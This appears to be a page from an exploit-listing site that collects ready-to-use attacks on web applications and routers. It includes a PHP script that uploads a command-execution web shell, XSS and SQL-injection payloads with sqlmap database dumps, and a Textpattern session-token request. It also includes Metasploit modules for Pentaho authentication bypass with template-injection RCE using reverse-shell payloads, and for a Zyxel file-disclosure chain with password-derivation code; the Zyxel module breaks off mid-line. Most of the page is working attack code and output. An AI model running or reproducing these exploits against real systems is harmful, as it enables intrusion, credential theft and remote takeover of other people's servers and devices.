Latest exploits :: CodePwn

<pre><code><?php /* Exploit Title: thrsrossi Millhouse-Project 1.414 Remote Code Execution Date: 12/05/2023 Exploit Author: Chokri Hammedi Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project Software Link: https://github.com/thrsrossi/Millhouse-Project.git Version: 1.414 Tested on: Debian CVE: N/A */ $options = getopt('u:c:'); if(!isset($options['u'], $options['c'])) die("\033[1;32m \n Millhouse Remote Code Execution \n Author: Chokri Hammedi \n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n \033[0m\n \n"); $target = $options['u']; $command = $options['c']; $url = $target . '/includes/add_post_sql.php'; $post = '------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="title" helloworld ------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="description" sdsdsds ------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="category" 1 ------WebKitFormBoundaryzlHN0BEvvaJsDgh8 Content-Disposition: form-data; name="image"; filename="rose.php" Content-Type: application/x-php <?php $shell = shell_exec("' . $command . '"); echo $shell; ?> ------WebKitFormBoundaryzlHN0BEvvaJsDgh8-- '; $headers = array( 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzlHN0BEvvaJsDgh8', 'Cookie: PHPSESSID=rose1337', ); $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); $response = curl_exec($ch); curl_close($ch); // execute command $shell = "{$target}/images/rose.php?cmd=" . urlencode($command); $ch = curl_init($shell); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $exec_shell = curl_exec($ch); curl_close($ch); echo "\033[1;32m \n".$exec_shell . "\033[0m\n \n"; ?> </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : codesler.com │ │ Vendor : Codesler - Rohit Chouhan (codester.com) │ │ Software : HouseKit 1.0 - Rent Property Booking PHP Script │ │ Vuln Type: Reflected XSS │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ The attacker can send to victim a link containing a malicious URL in an email or │ │ instant message can perform a wide variety of actions, such as stealing the victim's │ │ session token or login credentials │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /flat_details.php GET parameter 'id' is vulnerable to RXSS https://website/flat_details.php?id=22&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E Path: /flats.php GET parameter 's' is vulnerable to RXSS https://website/flats.php?tab=on&s=Hyderabadi3phy%3cscript%3ealert(1)%3c%2fscript%3ezx0nx [-] Done </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : codesler.com │ │ Vendor : Codesler - Rohit Chouhan (codester.com) │ │ Software : HouseKit 1.0 - Rent Property Booking PHP Script │ │ Vuln Type: SQL Injection │ │ Impact : Database Access │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ │ │ SQL injection attacks can allow unauthorized access to sensitive data, modification of │ │ data and crash the application or make it unavailable, leading to lost revenue and │ │ damage to a company's reputation. │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /flat_details.php GET parameter 'id' is vulnerable to SQL Injection https://website/flat_details.php?id=[SQLI] --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=22 AND (SELECT 2116 FROM (SELECT(SLEEP(5)))vxMc) Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: id=-4049 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716b706271,0x4175424a73725a4b6b757359756765517a78784a6b50706b464f474978545652546a4a496c505841,0x716b6a6271),NULL,NULL,NULL-- - --- Path: /flats.php GET parameter 's' is vulnerable to SQL Injection https://website/flats.php?tab=on&s=[SQLI] --- Parameter: s (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: tab=on&s=Hyderabad' AND (SELECT 5046 FROM (SELECT(SLEEP(5)))BKYF) AND 'ReOi'='ReOi Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: tab=on&s=Hyderabad' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7170706a71,0x6e536b46764c48414b6663545a4f78576a56794c74766e5351494f624c786261797255684d5a6d6d,0x716a767071),NULL,NULL,NULL-- - --- [+] Starting the Attack fetching current database current database: '**40*26_housekit' fetching tables +--------------+ | admin | | flats | | kyc | | owner | | review | | settings | | transactions | | users | | wallet | | withdraw | +--------------+ fetching columns for table 'admin' +----------+---------+ | Column | Type | +----------+---------+ | id | int(11) | | password | text | | username | text | +----------+---------+ [-] Done </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Pentaho Business Server Auth Bypass and Server Side Template Injection RCE', 'Description' => %q{ Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x is vulnerable to an authentication bypass (CVE-2022-43939) and a Server Side Template Injection (SSTI) vulnerability (CVE-2022-43769) that can be chained together to achieve unauthenticated code execution as the user running the Pentaho Business Analytics Server. The first vulnerability (CVE-2022-43939) is an authentication bypass which stems from a regex that allows any URL that ends in "/", followed by "require", optionally "-js" or "-cfg", any character, and then the string "js" followed optionally by "?" and then any characters of the attacker's choice. The second (CVE-2022-43769) is a server side template injection. This vulnerability allows RCE by making a GET request to /api/ldap/config/ldapTreeNodeChildren and setting the url parameter to ThymeLeaf template code. By abusing the ability to execute arbitrary Java classes within Thymeleaf templates, an attacker can execute arbitrary commands as the user running the Pentaho Business Analytics Server. }, 'Author' => [ 'Harry Withington', # Discovery 'dwbzn', # PoC 'jheysel-r7' # Module ], 'References' => [ ['URL', 'https://github.com/dwbzn/pentaho-exploits/blob/main/cve-2022-43769.py'], # POC ['URL', 'https://research.aurainfosec.io/pentest/pentah0wnage/'], # Original writeup ['URL', 'https://support.pentaho.com/hc/en-us/articles/14455561548301'], # Advisory ['CVE', '2022-43769'], # RCE ['CVE', '2022-43939'] # Auth Bypass ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => ['win', 'unix'], 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => :curl, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'CmdStagerFlavor' => :certutil, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-04-04', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path', '/pentaho']) ] ) end def check # This check method abuses the authentication bypass vulnerability CVE-2022-43939 to check exploitability. Due to a # bad regex in applicationContext-spring-security.xml endpoints that should not be accessible without authentication # are made accessible if the URL ends in "/", followed by "require", optionally "-js" or "-cfg", any character, # and then the string "js" followed optionally by "?" and then any characters of the attacker's choice. post_require_mixup = ['-cfg', '-js', ''].sample period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js") ) return Exploit::CheckCode::Unknown unless res if res.code == 200 && res.body == '{}' Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def win_target? target.platform.names.include?('Windows') end def execute_command(cmd, _opts = {}) java_payload = <<~JAVA.gsub(/^\s+/, '').tr("\n", '') {T(java.lang.Runtime).getRuntime().exec( new String[]{ #{win_target? ? '"cmd.exe", "/c", ' : '"/bin/sh", "-c", '}'#{cmd.gsub("'", "''")}'} ) } JAVA post_require_mixup = ['-cfg', '-js', ''].sample period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js"), 'vars_get' => { 'url' => "##{java_payload}", 'mgrDn' => Rex::Text.rand_text_alphanumeric(1..24), 'pwd' => Rex::Text.rand_text_alphanumeric(1..24) }, 'uri_encode_mode' => 'hex-all' # Needed to encode \ as %5C so we don't run into bad character issues that cause failure on server. ) unless res fail_with(Failure::UnexpectedReply, 'No response from the server when attempting to exploit') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Unexpected response code:#{res.code}, when attempting to exploit") end unless res.body == 'false' fail_with(Failure::UnexpectedReply, "The response body from the exploit attempt indicates the attempt was unsuccessful. The response body should only contain 'false'. The response body returned was: '#{res.body}'") end end def exploit print_status('Attempting to exploit...') case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager when :win_cmd execute_command(payload.encoded) when :win_dropper execute_cmdstager end end end </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : codesler.com │ │ Vendor : Codesler - Rohit Chouhan (codester.com) │ │ Software : GaanaGawaana 1.0 - Music Platform PHP Script │ │ Vuln Type: SQL Injection │ │ Impact : Database Access │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ │ │ SQL injection attacks can allow unauthorized access to sensitive data, modification of │ │ data and crash the application or make it unavailable, leading to lost revenue and │ │ damage to a company's reputation. │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /search https://website/search?q=[SQLI] GET parameter 'q' is vulnerable to SQL Injection --- Parameter: q (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=' AND (SELECT 3838 FROM (SELECT(SLEEP(5)))giXs) AND 'YaMa'='YaMa Type: UNION query Title: Generic UNION query (NULL) - 12 columns Payload: q=' UNION ALL SELECT NULL,CONCAT(0x716b707671,0x436e596a66675a65667a6c6a574e675142484f46776b4265766847466958456f6f556c4d58465172,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - --- [+] Starting the Attack fetching current database current database: '***01*6_gaanagawaana' fetching tables +----------+ | settings | | songs | +----------+ fetching columns for table 'settings' +-----------+--------------+ | Column | Type | +-----------+--------------+ | api_key | varchar(200) | | email | varchar(50) | | id | int(11) | | password | varchar(200) | | site_name | longtext | | thumbnail | longtext | | username | varchar(200) | +-----------+--------------+ [-] Done </code></pre>

<pre><code>## Title: textpattern-4.8.8 Session token in URL Vulnerability ## Author: nu11secur1ty ## Date: 05.10.2023 ## Vendor: https://textpattern.com/ ## Software: https://github.com/textpattern/textpattern/releases/tag/4.8.8 ## Reference: https://portswigger.net/kb/issues/00500700_session-token-in-url, https://cwe.mitre.org/data/definitions/200.html ## Description: Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker. Issue detail: The URL in the request appears to contain a session token within the query string:http://pwnedhost7.com/textpattern-4.8.8/textpattern/index.php?logout=1&lang=en&_txp_token=64f17b3d874e3c5f9c728f03e1271c64 STATUS: Medium Vulnerability [+]Exploit: ```GET GET /textpattern-4.8.8/textpattern/index.php?event=diag HTTP/1.1 Host: pwnedhost7.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: txp_login=Admin%2C628717737574e8be05624bb2da74fb38; txp_login_public=d5f8d91942Admin Connection: close ``` [+]Response: ```HTTP HTTP/1.1 200 OK Date: Wed, 10 May 2023 07:51:37 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Content-Security-Policy: frame-ancestors 'self' X-Frame-Options: SAMEORIGIN Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 10725 <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <meta name="robots" content="noindex, nofollow"> <title>Diagnostics - My site | Textpattern CMS</title> <script src="vendo ...[SNIP]... <input name="event" type="hidden" value="diag" /><a rel="external noopener" target="_blank" href="?event=diag&step=phpinfo&_txp_token=64f17b3d874e3c5f9c728f03e1271c64">PHP configuration  ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/textpattern/2023/textpattern-4.8.8) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/05/textpattern-488-session-token-in-url.html) ## Time spend: 01:15:00 </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'socket' require 'digest/md5' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck attr_accessor :ssh_socket def initialize(info = {}) super( update_info( info, 'Name' => 'Zyxel chained RCE using LFI and weak password derivation algorithm', 'Description' => %q{ This module exploits multiple vulnerabilities in the `zhttpd` binary (/bin/zhttpd) and `zcmd` binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices. The remote code execution vulnerability can be exploited by chaining the local file disclosure vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`. With this information disclosure, the attacker can determine if the router is reachable via ssh and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting a weak implementation of a password derivation algorithm using the device serial number. After exploitation, an attacker will be able to execute any command as user `supervisor`. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author of exploit chain and MSF module contributor 'SEC Consult Vulnerability Lab', 'Thomas Rinsma', 'Bogi Napoleon Wennerstrøm' ], 'References' => [ ['CVE', '2023-28770'], ['URL', 'https://r.sec-consult.com/zyxsploit'], ['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/'], ['URL', 'https://th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/'], ['URL', 'https://github.com/boginw/zyxel-vmg8825-keygen'], ['URL', 'https://attackerkb.com/topics/tPAvkwQgDK/cve-2023-28770'] ], 'DisclosureDate' => '2022-02-01', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_MIPSBE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_MIPSBE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp' } } ], [ 'Interactive SSH', { 'DefaultOptions' => { 'PAYLOAD' => 'generic/ssh/interact' }, 'Payload' => { 'Compat' => { 'PayloadType' => 'ssh_interact' } } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false, 'SSH_TIMEOUT' => 30, 'WfsDelay' => 5 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptBool.new('STORE_CRED', [false, 'Store credentials into the database.', true]) ] ) register_advanced_options( [ OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10]) ] ) end # supervisor user password derivation functions (SerialNumMethod2 and 3) for Zyxel routers # based on the reverse engineer analysis of Thomas Rinsma and Bogi Napoleon Wennerstrøm # https://github.com/boginw/zyxel-vmg8825-keygen def double_hash(input, size = 8) # ROUND 1 # take the MD5 hash from the serial number SXXXXXXXXXXXX # this returns a hash of 32 char bytes. # read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char # store two char bytes in round1 and continue with next two char bytes from the hash. md5_str_array = Digest::MD5.hexdigest(input).split(//) round1_str_array = Array.new(32) j = 0 until j == 32 if md5_str_array[j] == '0' round1_str_array[j] = md5_str_array[j + 1] else round1_str_array[j] = md5_str_array[j] end round1_str_array[j + 1] = md5_str_array[j + 1] j += 2 end round1 = round1_str_array.join # ROUND 2 # take the MD5 hash from the result of round1 # returns a hash of 32 char bytes. # read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char # store two char bytes in round2 and continue with next two char bytes. md5_str_array = Digest::MD5.hexdigest(round1).split(//) round2_str_array = Array.new(32) j = 0 until j == 32 if md5_str_array[j] == '0' round2_str_array[j] = md5_str_array[j + 1] else round2_str_array[j] = md5_str_array[j] end round2_str_array[j + 1] = md5_str_array[j + 1] j += 2 end # ROUND 3 # take the result of round2 and pick the number (size) of char bytes starting with indice [0] and increased by 3 # to create the final password hash with defined number (size) of alphanumeric characters and return the final result round3_str_array = Array.new(size) for i in 0..(size - 1) do round3_str_array[i] = round2_str_array[i * 3] end round3 = round3_str_array.join return round3 end def mod3_key_generator(seed) # key generator function used in the SerialNumMethod3 pasword derivation function round4_array = Array.new(16, 0) found0s = 0 found1s = 0 found2s = 0 while (found0s == 0) || (found1s == 0) || (found2s == 0) found0s = 0 found1s = 0 found2s = 0 power_of_2 = 1 seed += 1 for i in 0..9 do round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor if (round4_array[i] == 1) found1s += 1 elsif (round4_array[i]) == 2 found2s += 1 else found0s += 1 end power_of_2 = power_of_2 << 1 end end return seed, round4_array end def serial_num_method2(serial_number) # SerialNumMethod2 password derivation function pwd = double_hash(serial_number) return pwd end def serial_num_method3(serial_number) # SerialNumMethod3 password derivation function # constant definitions keystr1_byte_array = 'IO'.bytes.to_a keystr2_byte_array = 'lo'.bytes.to_a keystr3_byte_array = '10'.bytes.to_a valstr_byte_array = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF'.bytes.to_a offset1 = 0x8 offset2 = 0x20 round3 = double_hash(serial_number, 10) round3.upcase! round3_byte_array = round3.bytes.to_a md5_str = Digest::MD5.hexdigest(serial_number) md5_str_array = md5_str.split(//) offset = md5_str_array[2] + md5_str_array[3] + md5_str_array[4] + md5_str_array[5] result = mod3_key_generator(offset.to_i(16)) offset = result[0] round4 = result[1] for i in 0..9 do if round4[i] == 1 new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'A'.bytes.join.to_i round3_byte_array[i] = new_val for j in 0..1 do next unless (round3_byte_array[i] == keystr1_byte_array[j]) index = offset1 + ((offset + j) % 0x18) round3_byte_array[i] = valstr_byte_array[index] break end elsif round4[i] == 2 new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'a'.bytes.join.to_i round3_byte_array[i] = new_val for j in 0..1 do next unless (round3_byte_array[i] == keystr2_byte_array[j]) index = offset2 + ((offset + j) % 0x18) round3_byte_array[i] = valstr_byte_array[index] break end else new_val = (((round3_byte_array[i] % 10) * 0x1000000) >> 0x18) + '0'.bytes.join.to_i round3_byte_array[i] = new_val for j in 0..1 do next unless (round3_byte_array[i] == keystr3_byte_array[j]) var = ((offset + j) >> 0x1f) >> 0x1d index = ((offset + j + var) & 7) - var round3_byte_array[i] = valstr_byte_array[index] break end end end pwd = round3_byte_array.pack('C*') return pwd end def crack_supervisor_pwd(serial) # crack supervisor password using the device serial number # there are two confirmed hashing functions that can derive the supervisor password from the serial number: # SerialNumMethod2 and SerialNumMethod3 # both passwords candidates will be returned as hashes hash_pwd = { 'method2' => nil, 'method3' => nil } # SerialNumMethod2 hash_pwd['method2'] = serial_num_method2(serial) # SerialNumMethod3 hash_pwd['method3'] = serial_num_method3(serial) print_status("Derived supervisor password using SerialNumMethod2: #{hash_pwd['method2']}") print_status("Derived supervisor password using SerialNumMethod3: #{hash_pwd['method3']}") return hash_pwd end def report_creds(user, pwd) credential_data = { module_fullname: fullname, username: user, private_data: pwd, private_type: :password, workspace_id: myworkspace_id, status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_details) cred_res = create_credential_and_login(credential_data) unless cred_res.nil? print_status("Credentials for user:#{user} are added to the database.") end end def get_configuration # Get the device configuration by exploiting the LFI vulnerability return send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/Export_Log?/data/zcfg_config.json') }) end # Initiate the process configuration exception class used in the process_configuration function class ProcessConfigException < StandardError attr_reader :exception_type def initialize(msg = 'This is my custom process config exception', exception_type = 'custom') @exception_type = exception_type super(msg) end end def process_configuration(res) # Initiate the instance variable config to store the configuration @config = {} # Parse the device configuration json file res_json = res.get_json_document if res_json.blank? raise ProcessConfigException.new 'No device configuration file found.', 'ConfigUnknown' end # process json output and retrieve information about supervisor user, ssh port and ssh WAN service status # Also grab hardware and software version including the serial number to crack the password of user supervisor @config['hardware'] = res_json.dig('DeviceInfo', 'HardwareVersion') @config['software'] = res_json.dig('DeviceInfo', 'SoftwareVersion') @config['serial'] = res_json.dig('DeviceInfo', 'SerialNumber') login_cfg = res_json.dig('X_ZYXEL_LoginCfg', 'LogGp') unless login_cfg.nil? @config['ssh_user'] = login_cfg.select { |l| l['Account']&.select { |a| a['Username'] == 'supervisor' } }.blank? ? nil : 'supervisor' end remote_service = res_json.dig('X_ZYXEL_RemoteManagement', 'Service') unless remote_service.nil? service = remote_service.select { |s| s['Name'] == 'SSH' }.first if service&.fetch('Name', nil) == 'SSH' @config['ssh_port'] = service['Port'] @config['ssh_wan_access'] = service['Mode'] @config['ssh_service_enabled'] = service['Enable'] end end print_status("Hardware:#{@config['hardware']} Firmware:#{@config['software']} Serial:#{@config['serial']}") # check if all hash key/value pairs are populated and raise exceptions if retrieved config is not vulnerable if @config['serial'].nil? || @config['ssh_user'].nil? || @config['ssh_port'].nil? || @config['ssh_wan_access'].nil? || @config['ssh_service_enabled'].nil? raise ProcessConfigException.new 'Device serial, supervisor user, SSH port, or SSH WAN access/service status not found.', 'ConfigUnknown' end # check if ssh service is enabled # if true then check ssh_port is open and ssh service is accessible from the WAN side if @config['ssh_service_enabled'] if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port']) return else raise ProcessConfigException.new "WAN access to SSH service is NOT allowed or SSH port #{@config['ssh_port']} is closed. Try exploit from the LAN side.", 'ConfigUnreachable' end else raise ProcessConfigException.new 'SSH service is NOT available.', 'ConfigNotVulnerable' end end def execute_command(cmd, _opts = {}) Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) } rescue Timeout::Error @timeout = true end def do_login(ip, user, pass, ssh_port) # create SSH session and login # if login is successfull, return true else return false. All other errors will trigger an immediate fail opts = ssh_client_defaults.merge({ auth_methods: ['password', 'keyboard-interactive'], port: ssh_port, password: pass }) opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do self.ssh_socket = Net::SSH.start(ip, user, opts) end rescue Rex::ConnectionError fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, 'Timed out during negotiation') rescue Net::SSH::AuthenticationFailed return false rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") end fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket return true end def check_port(port) # checks network port and return true if open and false if closed. Timeout.timeout(datastore['ConnectTimeout']) do TCPSocket.new(datastore['RHOST'], port).close return true rescue StandardError return false end rescue Timeout::Error return false end def check # Initiate the instance variable config to store the configuration # @config = { 'hardware' => nil, 'software' => nil, 'serial' => nil, 'ssh_user' => nil, 'ssh_port' => nil, 'ssh_wan_access' => nil, 'ssh_service_enabled' => nil } res = get_configuration return CheckCode::Safe if res.nil? || res.code != 200 begin process_configuration(res) rescue ProcessConfigException => e case e.exception_type when 'ConfigNotVulnerable', 'ConfigUnreachable' return CheckCode::Safe(e.message) when 'ConfigUnknown' return CheckCode::Unknown(e.message) end end return CheckCode::Vulnerable end def exploit # run if AutoCheck is false (@config = nil), otherwise use the information in @config gathered during the check method unless @config res = get_configuration fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if res.nil? || res.code != 200 begin process_configuration(res) rescue ProcessConfigException => e case e.exception_type when 'ConfigNotVulnerable' return fail_with(Failure::NotVulnerable, e.message) when 'ConfigUnreachable' return fail_with(Failure::Unreachable, e.message) when 'ConfigUnknown' return fail_with(Failure::Unknown, e.message) end end end # extra checks added to handle ForceExploit true setting if @config['ssh_service_enabled'] if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port']) print_status("SSH service is available and SSH Port #{@config['ssh_port']} is open. Continue to login.") else fail_with(Failure::Unreachable, 'SSH service is not availabe and/or SSH port is closed.') end else fail_with(Failure::BadConfig, 'SSH service and/or SSH port information is missing.') end # derive supervisor password candidates using password derivation method SerialNumMethod2 and SerialNumMethod3 if @config['serial'].nil? fail_with(Failure::BadConfig, 'Serial device number is missing to crack the 